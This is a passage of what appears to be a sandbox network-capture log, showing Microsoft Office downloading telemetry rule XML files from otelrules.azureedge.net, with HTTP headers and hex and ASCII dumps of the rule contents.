2024-10-06 12:08:31 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-06 12:08:31 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-06 12:08:31 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-06 12:08:31 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-06 12:08:31 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-06 12:08:31 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:34 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:34 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:34 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 4545068c-701e-0050-0e05-176767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120834Z-1657d5bbd487nf59mzf5b3gk8n00000001m00000000082vy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:34 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:34 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:34 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:34 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 8aaf7b13-d01e-0028-46fd-167896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120834Z-1657d5bbd48tnj6wmberkg2xy80000000210000000009ds6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:34 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.5	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:34 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:34 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 28f6fc08-301e-0020-466a-176299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120834Z-1657d5bbd487nf59mzf5b3gk8n00000001f000000000gbkk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:34 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:34 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:34 UTC	563	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:34 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c59bb0f9-701e-0097-2d01-17b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120834Z-1657d5bbd48vlsxxpe15ac3q7n00000001yg000000006p1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:34 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:34 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:34 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: d4448e94-101e-00a2-2703-179f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120834Z-1657d5bbd48sdh4cyzadbb374800000001vg000000004bea x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:34 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:36 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:36 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 73fc0cc0-d01e-008e-5fee-16387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120836Z-1657d5bbd48brl8we3nu8cxwgn000000024g00000000k83v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:36 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:36 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:36 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 1707b783-801e-00a3-53e5-167cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120836Z-1657d5bbd482lxwq1dp2t1zwkc00000001t0000000003ak7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:36 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:36 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:36 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3ea0840d-701e-0053-1012-173a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120836Z-1657d5bbd48t66tjar5xuq22r800000001vg00000000d5c2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:36 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:36 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
